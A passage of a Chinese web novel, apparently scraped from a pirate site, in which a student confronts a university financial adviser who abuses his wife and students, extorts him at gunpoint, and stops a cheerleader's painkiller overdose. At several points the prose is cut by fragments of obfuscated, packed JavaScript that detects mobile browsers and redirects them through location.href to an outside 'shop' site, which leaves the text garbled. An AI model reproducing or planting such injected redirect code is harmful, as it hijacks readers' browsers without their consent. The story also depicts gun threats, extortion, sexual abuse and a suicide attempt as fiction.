待到教室里所有学生都离开后,凯瑟琳终于回过神来,勉强对明安笑了笑,“没事,我只是想告诉你最近学校财政办公室会进行职务调动,可能暂时不方便处理你的事,你可以过几天再去。” 说罢凯瑟琳就结束了话题,低头收拾自己的教案,仿佛刚刚的失态从未出现过。 明安顿了顿,职务调动的事或许是真的,但她总觉得不止如此。 可自己到底只是个学生,总不能对着师长明显不想说的事刨根问底。 更何况她也根本摸不着头脑,或许凯瑟琳教授只是突然想起了什么不开心的事呢? “好的,谢谢您……” 可就当她准备离开的时候,一支笔掉在了地上,明安下意识弯腰,凯瑟琳也伸出了手。 就在这几秒钟里,她看到了对方露出的一截手腕上的青紫。 明安一惊,下意识想看清楚的时候,凯瑟琳已经将衣袖拉下来了。 “安,我该去其他班级上课了,如果你在学习生活上有什么问题,可以随时用邮箱联系我。” 明安艰难地平复好自己的情绪从地上站起来,勉强笑了笑,当做什么都不知道的样子,“好的,凯瑟琳教授。” 说罢凯瑟琳就抱着教案离开了,高跟鞋踩在走廊上发出规律的声响。 明安深吸一口气,对自己刚刚看到的东西有些惊疑不定,心神不宁地走出了教室,那种伤痕是正常磕碰造成的吗?如果是的话凯瑟琳为什么表现得这么匆忙? “你发什么呆呢你!” 左凌伸手在明安眼前晃了晃,见没用之后又用力拍了她一下。 明安下意识对她笑了笑,忍不住问道:“凌凌,你对凯瑟琳教授了解多少?她刚刚叫我过几天再去财政办公室办理学费分期,说是职务调动,但是……” “你才是御前红人你问我?” 左凌有些无语,然后道:“不应该啊,学校财务顾问罗伯逊是凯瑟琳教授的丈夫,学费相关的事都是他负责,听说还挺好说话的,还是校董的亲戚,但过几天就要晋升为主管了,凯瑟琳教授不应该是叫你赶紧去办吗?你是不是听错了?” “而且再过几天你都逾期了,还怎么办分期?” 她很快又开口,“不如这样吧,我和家里商量一下一次性给你付了,就当是借你的,省得搞这么麻烦……” 财物顾问罗伯逊是凯瑟琳教授的丈夫?明安的神色微微一变,“不用,我先去看看。” 她还是决定去一趟学校的财政服务办公室,不论凯瑟琳教授到底怎么了,是不是她猜测的那样,她总得解决自己的学费问题,具体什么情况看看就知道了。 “行行行,你说了算,不过你可千万别做傻事,比如卖肾试药什么的,这还不如直接润回国……”左凌拗不过她,只好答应陪她去,也没有再提借钱的事。 但到了罗斯福大楼她们才发现,现在正是学费缴纳期限即将截止的这几天,来办公室办理相关业务的学生很多,她们需要排很长的队。 而且这里的学生素质似乎不太好,好不容易排到明安,一个刚从财政顾问办公室出来的女生就狠狠地撞了她一下。 对方是个标准的金发碧眼大美女,身材很好,力气也很大,还正中她昨天中枪的肩膀。 明安忍不住嘶了一声,怀疑对方装了机械臂,她穿上制服都不一定有这力气。 “喂!你没长眼睛吗?!” 左凌骂了一句,生气又疑惑地问明安,“那是啦啦队的,你得罪她了吗?” 明安默然,“我不认识她。” 只听过岛国人喜欢撞人解压,没听说阿米也有这种风俗啊…… 左凌心想也是,她俩这可怜的社交圈连人家的边都挨不着,别说得罪了,估计在人家眼里连空气都不如。 “害,真晦气,下次我们出门看看黄历吧……” 这些山姆国的mean哥mean姐可能一个眼神不对都得弄你两下,啦啦队和橄榄球队更是重灾区,mean中之mean。 还没地儿说理,只能自认倒霉。 “下一位。” 助理的声音传来,左凌顺手将明安的包背在自己肩上,推了推她,“行了你快进去吧,我在这里等你,完事后我们去下馆子。” “我去,怎么这么重……” 明安道了声谢,走过去按下了高级财务顾问办公室的门把手,并对着里面的人礼貌开口。 “您好,罗伯逊先生。” “我叫明安,是迈克尔·G·福斯特商学院金融专业的学生,很抱歉我的冬季学费逾期了,希望您能帮我办理一下分期缴纳。” 深色的办公桌后,罗伯逊正阅读着今天的报纸,头版头条上写着《西雅图第三大街无家可归者为何集体消失?这是否是东方某国的阴谋?》。 明安看得沉默了一下,就见他头也不抬地道:“明安……这个名字很陌生,这是你第一次逾期?” 这位财务顾问穿着一身剪裁得当的西装,外貌打理得很好,仪表堂堂,是一副电视剧里经典的白人男性精英模样,非常符合人的刻板印象。 明安打量了他片刻,说:“是的,罗伯逊先生,请问首次办理能有折扣吗?” 罗伯逊微微挑眉,终于看向了她,放下了手里的报纸,露出了一个笑容,“你很幽默,这一点很像我们国家的人。” “把门关上吧,我们谈一谈。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060388|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 明安顿了顿,这就是和她以前接受教育时不一样的地方了。 在东州大部分老师都会尽量避免和异性学生独处,以防自己的教资受到攻击,但在这里关上门才是谈话的礼仪。 明安转过身去把门关上了,这里隔音很好,她几乎瞬间就听不到外面的声音了,像是进入了另一个空间。 罗伯逊示意她在自己面前坐下,以一种很平等自然的姿态开口,“和我说说你的困难和目前的财务状况吧,这位幽默的东方学生,我会根据你的情况为你推荐适合你的方案。” 明安想了想,道:“我想分三期缴纳,一期六千美元,这是我可以承担的。” 这是最普遍的一种分期方式,大部分经济困难的学生都是这样的。 现在她还剩三百多功勋点,也就是三千多美金,放学后去把埃米一家抓了应该就够付第一期的学费了。 实在不行她晚上多加几次班,去别的街上逮点吸了的流浪汉,这个在山姆国总归量大管饱。 明安计划得很好,但她直接提出了自己的方案,并没有接财务顾问的话。 罗伯逊笑了笑,像是对她的行为有些不悦,整个人突然从办公桌撤走,靠在了皮质旋转椅上,看起来没有之前那么平易近人了。 “看来你来之前已经做过功课了,这个习惯很不错,也很东方。” “不过你没有处理这种事务的经验,有些疏漏我也能理解。” 他从抽屉里拿出一份文件,随手掷在桌面上,“你说的方案是针对本地学生的,但你不属于这个范围,请不要忘了这一点。” 东西被突然砸到面前,掀起一阵风,这个举动让明安感到了轻慢。 她渐渐蹙起了眉头,“我不记得在这件事上国际学生和普通学生有什么不同。” 学费分期是很常见的事,只需要多缴纳一笔行政手续费就可以了,并不复杂,根本就没必要跟她掰扯那么多。 这个罗伯逊到底在搞什么? 在她感到轻慢的同时,罗伯逊也觉得她不够尊重,一个经济困难的学生,怎么能理所当然地要求别人为她服务? 她以为这里是她的国家吗? 罗伯逊收起和善的姿态,站起身来,用带着婚戒的手用力点了点文件的第一页,“现在有了,这是学校财务部改革方案,你应该好好看一看再回答我的话。” 他一边说话一边看着她,高大的身形挡住了窗外的光线,投下阴影几乎将她笼罩,给人一种难以忽视的压迫感,身上的雪茄味都弥漫到了明安面前。 明安的目光彻底冷却,“改革方案执行时间是明年1月1日,就在封面上写着,该好好看清楚再说话的人是你,罗伯逊先生。” “还有,请你规范自己的言行,否则这很可能会给你带来不小的麻烦——” 13. 第 13 章 明安其实一开始就有些先入为主,怀疑这个罗伯逊有问题。 只不过她原本以为对方是涉嫌故意伤害自己的妻子凯瑟琳教授,没想到他似乎还打算给她憋个大的? 如果她的猜测没有错,凯瑟琳教授找借口让她避开这个人就有迹可循了。 罗伯逊诧异地看了她一眼,似乎没想到向来以温良著称的东方人还能做出这么有攻击性的姿态。 不过这在他看来并不算威胁。 他甚至觉得她有点可爱,抬起双手从善如流地坐了回去,“哦,东方甜心,只是善意地提醒了你一下而已,你想到哪里去了?难道你以前的老师都是这样和你相处的吗?” 明安丝毫没有将他的话放在眼里,只用审视的目光看着他,“善意?你的善意就是用还未正式实施的改革恐吓学生?” “那你还是不要将自己和我以前的老师相提并论为好,这对他们来说是一种侮辱。” 罗伯逊笑了,同样没有生气,“是的,善意,当然是善意,百分百的善意。” 他点了点自己的手表,“现在已经是下午五点十五分了,我本应该下班和我的妻子共享烛光晚餐,但却为了你在这里停留到现在,这难道还不足以证明我的善意吗?” “或许你认为我应该离开?” 罗伯逊摊手,“但明天就是1月1号了,亲爱的,你真的希望我现在离开吗?” 新的改革里不再允许国际学生和普通学生一样分期付款,如果想继续就读,要么一次性把学费交齐,要么就得向学校合作的金融公司贷款。 可贷款的利息高达15%,要是在东州就是实打实的高|利贷,利滚利下去会变成一个非常恐怖的数字。 而且在贷款结清之前学校不会给学生发放学位证,也不能享受联邦的免息政策,更不能购买机票,这是为了防止他们回国跑路。 这和把她当羊宰有什么区别? 明安的脸色瞬间沉了下来。 罗伯逊的笑意却加深了,他的语气带着些许笃定和诱哄,“所以东方甜心,你想好怎么接受我的善意了吗?” 这个结果当然是肯定的,罗伯逊不觉得她还有拒绝的余地。 留学生的家境普遍不错,至少有一定的能力,但这并不代表没有意外发生,人与人之间是有代沟的,学生的家长有时候也并不是那么的有眼界和善解人意。 所以一旦资金出了问题,远在异国他乡的她们会比本土学生还要茫然无助。 这时候如果有人伸以援手,她们一定会满怀感激。 虽然东方女人并不符合他的口味,但凡事都可以有例外,眼前这个就很有趣…… 明安掏出枪抵在他眉心,“我对你也有很多善意,你想体会一下吗?” “……” 罗伯逊的笑容僵在了脸上。 该死,谁来告诉他这个东州人手里为什么会有枪?! 她又是怎么带进学校来的?! 他试图说什么,明安却将手前倾,用冰冷的枪管在他的额头上压出了痕迹,声音有些阴沉,“这可不是玩具,罗伯逊先生,我不是第一次使用它了,如果你接下来的举动不能让我满意,我会让你在这里睡得很死……” 语言是一门艺术,明安没有一个字在撒谎,罗伯逊从她的语气中感受到了。 “No!你冷静一点!学业不是你人生的全部——” 罗伯逊艰难地说。 显而易见,这位财务顾问终于找回了自己身为学校工作人员的责任感,毫无怨言地加班加点,替直爽的学生办理好了她的业务。 明安露出一个微笑,“这不是很快吗?所以你之前一直在放屁?” “……” 罗伯逊的脸部肌肉抽搐了一下,他也很想问你之前的文明礼貌又去了哪里? 东州不是礼仪之邦吗?难道是遗传的时候上帝给她撑起了伞?? 他额头青筋直跳,彻底失去了兴致,咬牙切齿地开口,“好了,你已经得到你想要的了,现在你可以走了。” 明安却没有罢休的意思,反而似笑非笑地看着他,“晚了,罗伯逊先生,现在我有更感兴趣的东西了,我猜你一定对利用职务之便性|侵学生这件事很有自己的见解。” “说来给我听听吧。” 罗伯逊的脸彻底维持不住了,不用想都知道他一定在心里对她破口大骂。 但事关自己的职业生涯和下半辈子的自由,他怎么可能会说出来。 罗伯逊深吸一口气,“我承认我的言行不够端正,可这并不越界!同学们都很喜欢我的随性,你如果不习惯我们国家的相处方式我可以理解,但事情绝不是你想的那样!” “或许是过去有什么事给你带来了阴影?你太激动了,我想 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要是现在就这么离开,罗伯逊肯定不会坐以待毙,日后还能不能再抓住他把柄都是个问题。 明安的食指压住了扳机,阴沉的目光死死地盯着他,声音也变得不再冷静,“不要以为我傻,罗伯逊先生,我考出这个漂亮的成绩单可不是只会死记硬背。” “你桌子下的手是在拨打报警电话吗?又或者你想在我走后告诉校警让他们把我击毙?真是个不错的主意……但我一定会在这之前扣下扳机,因为我别无选择。” “这是你逼我的,罗伯逊!” 罗伯逊顿时寒毛直竖,没想到一个年轻的学生居然这样心思缜密。 他心跳得厉害,额头上冰冷的触感让他忍不住哆嗦,手机一不留神就掉在了地板上,发出“咚”得一声响。 明安的脸色变了,又将扳机压下了一点,声音阴沉如水,“看来我猜对了,罗伯逊先生,你果然毫无信誉可言。” “这真是太让我失望了……” “罗伯逊,现在是你需要在别人发现异常之前给我一个安心离开的筹码,否则我们就只能‘同归于尽’了……” “希望这个过程不要太久,我的朋友还在外面等我,我不想让她担心。” 局势逆转,该他来权衡利弊了。 14. 第 14 章 在真理和手握真理的“疯子”面前,正常人都知道该怎么做出选择。 答应她说不定还能有回旋的余地,不答应可能就见不到明天的太阳了…… 于是明安顺利取证了罗伯逊手机里的照片,勒令他全部删除,并录了一份口供,还将他伤害凯瑟琳教授的事也问了出来。 “是的!你说的都对!我确实有和那些美丽的学生们春风一度,还狠狠地教训了家里那个不识好歹的表子,现在可以把你的‘话筒’从我头上移开了吗?!” “要是一不小心擦枪走火,我们都别想好过!” 罗伯逊烦躁又自暴自弃地开口。 【根据《东州人民共和国刑法》第二百三十六条规定,以暴力、胁迫或者其他手段强|奸妇女的,处三年以上十年以下有期徒刑,情节恶劣的,处十年以上有期徒刑、无期徒刑或者死刑。*】 【犯罪嫌疑人罗伯逊身为教职工人员,与被害人之间存在教育、照顾、监护等特定的信赖关系,属于恶劣情节之一,从重处罚。还犯有故意伤害罪,数罪并罚。】 【当前案件评级:C,奖励:100功勋点】 “感谢您的诚实,罗伯逊先生。”明安微笑收起手机,用枪管拍了拍罗伯逊的脸,“我还会来找你的。” 咔哒,门重新合上的那一刻,罗伯逊浑身脱力地瘫软在椅子上。 没人告诉他东州的女学生这么疯狂,简直比黑|帮还不讲道理。 早知道是这个局面,他一定不会将主意打到她头上! 而且她为什么说还会来找他?难道还想借这个机会敲诈勒索他吗?! 她以为他就付得起她的学费了?! 明安离开办公室后,在人头攒动的客厅里找了好一会儿,这才找到正在和几位潮流女生激情探讨美甲建构艺术的左凌。 因为讨论得太投入,她的包已经拖到地上了。 明安无奈地过去接过来拍了拍灰,左凌这才想起自己还有个闺蜜。 她咳嗽了一声,“事情顺利吗?” 明安稍稍回忆了一下,表示:“嗯,非常顺利,罗伯逊先生果然很好说话,相信我的学费问题很快就能得到解决了。” 她很快会在一个夜深人静的时候,去向他索要自己价值一千美金的奖励。 这将成为她学费中的一部分。 左凌不疑有他,“那就好,我们去吃饭吧!” 说罢就拉着明安往外走。 明安想起011给她的准备的黄焖鸡米饭,她可是答应了要把它吃完的,“等等凌凌,要不我们别去下馆子了,一起吃黄焖……” 但走到一半,左凌却突然压低声音对她说:“跟你说个事儿。” “刚刚我去了趟楼下的洗手间,那里人少,门口放着维修的牌子,但我等不及就进去了,结果发现有人在隔间里哭,声音听起来还有点耳熟,吓了我一跳!” “有个猜测,但不一定对,我觉得里面那人很像之前撞你的那个拉拉队女。” “然后我就跟她们姐妹会里的人打听了一下,她们也说她状态不对,经常无缘无故甩脸子,美甲两周没换了,今天还忘了喷香水,你说她是不是出了什么事?” 左凌对橄榄球队和拉拉队成员的印象一直很差,因为她在初高中的时候因为长得瘦小又不爱说话被霸凌过,后来长大了脾气也硬了这种状况才少了些。 明安有些诧异,她发现左凌和原主其实有很大的区别,原主是真社恐,朋友少是真的确实没有多少社交天赋。 但左凌很擅长混圈子,也知道怎么和那些人相处,只是她不爱去而已。 明安微微叹了口气,其实她刚刚在罗伯逊的手机里也看到了那个女生的照片,有几张甚至就是在她进入办公室的前几分钟拍的。 可能这就是对方哭的原因。 她的心情有些沉重,对左凌道:“有道理,我去看看吧,别真出了什么意外。” 说着就往那个洗手间的方向走去。 左凌愣了一下才跟上,“唉!你管她干嘛?人家可是啦啦队的,学校金字塔的尖尖,哪轮得到我们来操心?她刚刚还撞了你呢!” 朋友心地善良她是知道的,只不过有时候她真心觉得有些人没必要帮。 帮了人家未必记得你的好,说不定到时候还反咬一口。 而且她们又不知道人家在难过什么,怎么帮?在厕所念心灵鸡汤吗? “等我一下,很快就好。” 明安快步走到放着维修告示的洗手间门口,将包给左凌,低声说了一句便推门进去了。 “唉!你这人真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060390|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 左凌来不及阻止,只得头疼地在门口站岗,寻思必须得找时间给朋友做做思想教育了。 多一些冷漠,少一点共情,这样人生才会变得更美好。 明安已经合上了洗手间的门,这里大概是真的坏了,欧式洗手台已经泛黄,地上的花纹瓷砖满是污垢,光线也很昏暗,空气中弥漫着一股难以忍受的味道。 明安捂着鼻子,蹑手蹑脚地往最里面的隔间走,果然听到了一些动静。 只不过现在对方似乎已经不在哭了,隐约有什么倾倒药物的声音响起。 明安顿时有种不好的预感,连忙冲过去推开那个隔间,果然看到那个啦啦队女生正将一大把止痛片塞进了嘴里。 这玩意儿是可以当饭吃的吗?! 就算你们爱嗑也不能这么嗑吧! 明安立刻伸手去抢,“住手!快停下!” 啦啦队女生一米七五的身高,蜷缩在狭小的隔间里很是狼狈,头发已经乱了,脸上的妆也被泪水晕染了,眼睛和脸上的皮肤都是红的。 听到陌生的声音她立刻如惊弓之鸟般抬起头来,仿佛天塌了一样,整个人进入了应激状态,声音尖锐又刺耳。 “Getout!Getout!!!” 为什么会有人突然出现在这里?门口的维修告示她难道看不见吗?! 明安看到手里的药瓶只剩一点了,心中暗道不好,电光火石之间,她用震惊的眼神看着地上的女生,“你怎么能在厕所吃东西?!” 啦啦队女生的声音卡了一下。 明安用非常不赞同的语气继续说:“厕所的空气里到处都是硫化氢和粪臭素,它们是从粪便里分解出来的!” “所以你在这里吃东西,跟拌着shi吃有什么区别?!” 啦啦队女生愤怒、难堪和绝望的神情有一瞬的空白,紧接着便一点点地裂开了,本就因为心情低落胃部难受的她顿时感到一股恶心。 很快,剧烈的呕吐声如愿响起。 明安顿时放下心来,只不过在此期间她还听到一句崩溃的怒骂,“滚!你们这些该死的书呆子!我恨你们!!呕——” 明安淡定地看窗外,完全没有放在心上,心想我可是帮你省了一笔洗胃钱,听说你们山姆国的医疗费很贵的…… 15. 第 15 章 明安的急救措施很及时,药物还没来得及消化便被吐进了马桶里,就算啦啦队女生再想结束生命,应该也不会捡起来塞进嘴里了。 啦啦队女生吐得胃酸都出来了,眼泪不受控制地往外流,难受得在地上抖。 过了好一会儿,干呕声才停下。 或许是因为最不堪的样子都已经被人看到了,她索性破罐子破摔地抬头,恨恨的看着明安,“我记住你了,厕所专家,今天发生的事要是有一个字被其他人知道,我一定会把你的头塞进马桶里——而现在!立刻!给我滚出去!” 说完她就用力地把门关上了。 砰的一声,明安不得不后退了几步,心想厕所专家是什么鬼?怎么还给人取外号的? 但见对方中气十足的样子,想来应该没什么事了。 她道:“这我可保证不了,谁能忍住不和朋友分享新鲜事呢?除非你每天提醒我。” 啦啦队女生只觉得她疯了,从来没有边缘人敢这么跟她对着干。 “Bi*ch!你在威胁我?” 明安心平气和地说:“我只是希望你活着,这是我生而为人的善良,哪怕面对的是个喜欢吃shi的碧池。” “……” 啦啦队女生觉得自己也要疯了,她当然明白明安是什么意思,但就没见过哪个施救者说话这么难听的! 这书呆子真的是想救她,而不是想把她气死吗?! 隔间里寂静了好一会儿,才继续传来冷冰冰的声音,“你根本就不知道我经历了什么,也不知道我为什么要这么做,所以请不要再彰显自己无知的善良了好吗,这很可笑!” 她难道就有得选吗?她难道就不想活吗? 可如果活着比死了更痛苦,那这还有什么意义! 明安沉默下来,这是一个很常见的拯救悖论。 该怎么去定义真正的善良?伸手和放手到底哪个更仁慈?似乎不论从哪个角度来论证都有道理,好像谁也无法妄下定论, 可明安还是决定做自己想做的事,而剩下的交给时间。 她没有回应拉拉队女生的话,只是问道:“在罗伯逊办公室门口的时候,你为什么要撞我?” 啦啦队女生这时也想起她来了,发出一声冷笑,“当然是因为你长得像个贱人,让我看着就恶心!现在果然如此!” 明安以前在农村比这还要不堪入耳的话听多了,打小身经百战,早就免疫了,索性道:“行,我就当是这样好了,那你跟我道歉吧。” “???” 啦啦队女生怀疑自己听错了,不然这东方碧池气人怎么没有瓶颈的? 她的肺都要气炸了,“道歉?我跟你道歉?!你脑子有病吧!!!” 啦啦队女生再次产生了怀疑,先不说她的英文词典里有没有道歉这个词,这人确定是来救她的?而不是来落井下石的? 正常人能让一个想死的人道歉?! 明安依旧平心静气,“你冒犯了别人当然得道歉,这和你是不是想结束自己的生命是两码事。” 话音落下,隔间又是一阵死寂。 啦啦队女生听得都力竭了…… 毁灭吧,她已经完全没有力气自我了结了,只希望门后这家伙赶紧走。 再不走她都要得心脏病了! “滚!想都不要想!” “我不可能向你道歉!” 好几分钟过去,明安没有再说话,啦啦队女生只当这人终于知难而退了。 她艰难地靠在隔板上平复了一下自己的情绪后,便从包里翻出镜子和廉价化妆品,开始整理自己的衣着和妆容。 该死的东方bi*ch,怎么这么爱多管闲事,别人死不死的跟她有什么关系? 父母都不管她的死活了,一个陌生人在这乱发什么善心…… “笃笃笃。” 这时门板突然被手指敲了几下。 拉拉队女生下意识停下动作,烦躁地想这碧池又想干什么? 却听明安的声音在门外响起,像是无奈的叹息,“我们来打个赌吧,美丽的年轻女孩,我赌你憎恨的那个人很快就会从学校消失,而你担心的事情一件都不会发生,到那个时候,你再向我道歉。” “我想这个赌局对你很公平。” 啦啦队女生整个人定在了原地,几乎在这一瞬间她就确定:对方什么都知道。 “不说话我就当你默认了。” 脚步声响起,门外的人终于离开了,似乎也根本就没打算等待她的回复。 啦啦队女生在原地怔愣了很久,突然脱力地瘫坐在冰冷的瓷砖上,用力地捂住了自己的脸,再次失声痛哭起来。 她知道,她真的什么都知道。 这不是仅属于她一个人的痛苦…… …… 明安从洗手间走出来,吐出一口浊气,对左凌笑了笑,“好了,暂时没事了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060391|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们走吧。” 左凌看着安然无恙的她,整个人都有些不可思议,她还以为自己要时刻准备着冲进去拯救自己过度善良的好闺蜜呢。 那个mean姐居然没动武? 明安耸耸肩,“你这是什么眼神,人家可文明了,还说要跟我道歉呢。” 左凌怀疑她在做梦,文明?那刚刚是谁在向你传播山姆国粹? 果然,洗手间马上传出一声怒吼,“我没有说过这样的话!你这个骗子!” “……” 不是,这对吗?她们说的是母语啊,这姐们居然听得懂中文?? 左凌一言难尽地拉着明安离开了。 走远了之后,她还是忍不住问:“你到底是怎么把她劝住的?我好像听到什么憎恨的人,她憎恨谁?不会是你吧?” “……” 明安觉得左凌的脑洞开得太大了,她这么品性优良的新时代青年,怎么可能被人憎恨? “这个下次再说,先去吃饭吧,你不是饿了吗?” 左凌也没纠结,当即点头,“没错,所以你之前说要请我吃什么来着?” 明安沉默了一下,只好将包里的保温盒拿了出来,“我还以为你没听见呢……” 左凌嘁了一声,一把夺过沉甸甸的保温盒,“怎么可能?我怎么会放过薅富姐的机会!让我看看你有什么好吃的——” “Unbelievable!居然是伟大的黄焖鸡米饭!” “天哪!好正宗好标准的黄焖鸡!用的还都是翅根和鸡腿肉!好嫩啊!炖得都快骨肉分离了!看起来好像还是刚杀的土鸡!这犄角旮旯的破地方哪来的土鸡啊!” “太香了!我口水都要流下来了!怪不得你的包这么重,居然是因为它!” “你上哪弄的?是新开的店吗?我怎么不知道学校附近还有这么高质量的黄焖鸡,还有这个保温盒,什么材质的?外太空材料吗?这摸起来也太高级了!过了这么久居然还是热的,新鲜出炉的一样!” “呜呜呜对不起黄焖鸡米饭大人,我有罪,我之前不该把你放在地上的!” “如果早知道是你,我一定拿头给你垫着!” 左凌连忙在草坪边找了个长椅,小心翼翼地将里面超大份的饭菜端出来,还无情地赶走了几只没有边界感的加拿大鹅,虔诚的模样像是恨不得当场给黄焖鸡磕一个。 “……” 黄鼠狼给鸡拜年呢你。 16. 第 16 章 Don't hurt 今天刚好是一年的尾声,放在东州就是元旦,学校里其实举办了不少庆祝的活动,只是没人邀请她们。 不过左凌觉得能在西雅图吃上一份美味的、正宗的、热腾腾的黄焖鸡米饭,就已经算是过年了! 她非常满足,明安也是。 其实她在学校吃了很多黄焖鸡米饭,早就有点吃腻了,但没想到这份好吃得清新脱俗,跟她以前吃的预制菜完全不一样! 感谢伟大的黄焖鸡米饭,感谢伟大的厨子011,没了它们她可怎么活啊…… 两人齐齐喟叹,在长椅上歇了一会儿,又逗了逗学校的大鹅,这才舍得收拾东西回家。 左凌关心地问:“对了,你现在住哪里?有固定的住处吗?要不要来我家?” 埃米家肯定是不能回去了,在山姆国找房子又不是一件容易的事,暂时在朋友家借宿应该是最合适的选择。 可明安晚上还得加班,而且左凌家不大,她父母也不是很喜欢左凌和她来往,因为觉得唯唯诺诺的原主绊住了左凌的手脚,连累女儿一起成了学校的边缘人,妨碍自己女儿进入本地社交圈了。 今天的事情一出来,他们对她可能还会更加排斥,毕竟她现在连个有钱的家都没有了。 真住进去就跟寄生虫一样。 明安婉拒了,“不用担心,我住的地方很安全,是个来这里出差的朋友,人很好,还给我做饭呢,你刚刚吃的黄焖鸡就是它做的。” 穿越时空的出差也是出差,机器人也是人,没毛病。 左凌见她语气轻松,状态确实不错,稍稍放下心来,打了个饱嗝,由衷道:“这是什么神仙朋友,她一定是米其林大厨吧?不,不对,米其林没那么好吃。” “伟大的黄焖鸡啊,你以后一定要让我见见这个朋友!” 没有确定日期的承诺都是可以答应的,明安笑着点头,“好,回头我问问它。” 左凌满意摸了摸肚子,和她一起向校外走去,两人一边消食一边聊天。 现在第三大街无家可归者集体消失的事传播很广,尤其原来明安住的地方离那里还很近,左凌也问了一下。 “对了,埃米那蠢货今天对着你发了什么疯?什么昨晚?昨晚最大的事儿不就是警局被偷家和中文入侵西雅图?你有打听到什么吗?我看那些政客都说东州要打过来了。” 明安沉默了一下,诚恳地摇头,“不清楚,昨晚我累了半宿,一觉睡到大中午呢。” “中文入侵西雅图?不可能吧,我看别人都说是行为艺术。” “至于政客们说的话,那就更不可信了,他们造谣东州也不是一天两天了。” “东大是礼仪之邦,你是知道的。” 左凌想了想,点头道:“也对,是这个理,而且要是真的打过来了应该会先撤侨的,现在我们一点预警都没收到,肯定不是真的。” 明安对她的话表示认可,见已经走到校外的分岔路口了,她挥了挥手道:“那我先回去了,拜拜,我们明天见。” “OK,到了记得给我发消息。” 明安笑着应下了,却在左凌的声音消失后,转头就回到了学校的罗斯福大楼。 “哦,罗伯逊先生早就回家了……”办公室门口的助理遗憾地对她说。 明安带着失望道:“看来我来晚了,谢谢你。” 结束对话,她的神色沉静下来,直径在学校坐上了前往东北方向的轻轨。 几分钟后,她在Roosevelt站走了出来,不远处就是一片复式住宅,还有一个标志牌立在入口处,上面用英文写着—— 拉文纳社区。 这是学校附近比较好的社区之一,很多学校的教职工都在这里居住。 凯瑟琳教授和罗伯逊也是如此。 西雅图冬日的天空总是阴沉沉的,天色早早就暗了下来,只有零零散散的灯光点缀在潮湿的城市里,明安的身影没入了一个黑暗的角落。 她来收取她应得的美金了。 …… 拉文纳社区一如往常安静,凯瑟琳正在照顾自己卧病在床的母亲。 对方不久前出了一场车祸,幸好救护车及时来到才保住了性命,但高昂的医药费使她瞬间破产,变卖了房产都还没能还清。 而且保险公司不愿理赔。 他们声称她母亲就医的地方是距离最近的医院,而不是协议里规定的医疗机构,所以她们只能自己支付医药费。 这对任何一个家庭来说都是巨大的打击,更何况她们家本来就不富裕。 凯瑟琳不忍心看着母亲流落街头,便将对方接到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060392|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己家里。 可她自己也捉襟见肘,丈夫将大部分收入都拿去贿赂校董了,她只能一个人支付家里所有的账单,工作多年的积蓄甚至不足一千美元。 她现在每周都需要卖一次血才能支付让母亲住进来的保费和税收,而且罗伯逊只允许母亲待在杂物间。 但不管怎么样这里都比外面要好很多,西雅图的冬天太冷了,许多无家可归者都活不下去。 她一边用毛巾轻轻擦拭母亲的手脚,一边安慰道:“没事的,你很快就会好了,到时候你就可以搬出这里,去找一份工作,再买一套新的房子,比以前的还要好,可以种你喜欢的绣球花,罗伯逊不会介意的……” 床上年迈的女人头上包着纱布,艰难地看着女儿张了张嘴,却说不出完整的话。 凯瑟琳没有试图去解读,因为她知道答案一定会令自己很难过。 似乎人一旦进入母亲这个职业,就很容易诞生出无私奉献的品质,可她们却忘了自己也有好好活下去的权力,而不是视自己为累赘。 她绝不会放任母亲死去,哪怕付出再大的代价。 “嘭!” 就在这时房门被猛地踢开了,动作显而易见的粗暴,打破了房间里短暂的温情。 罗伯逊用力地扯了扯领结,脸上挂着虚伪的笑,像是一位彬彬有礼的丈夫,“我亲爱的妻子,你似乎忘了准备今天的晚餐,是太忙了吗?或许我可以代劳……哦,玛丽,你看起来比昨天好多了……” 凯瑟琳蹭得一下起身,下意识挡在了母亲玛丽的病床前,但很快又意识到自己的反应有些太引人注目了。 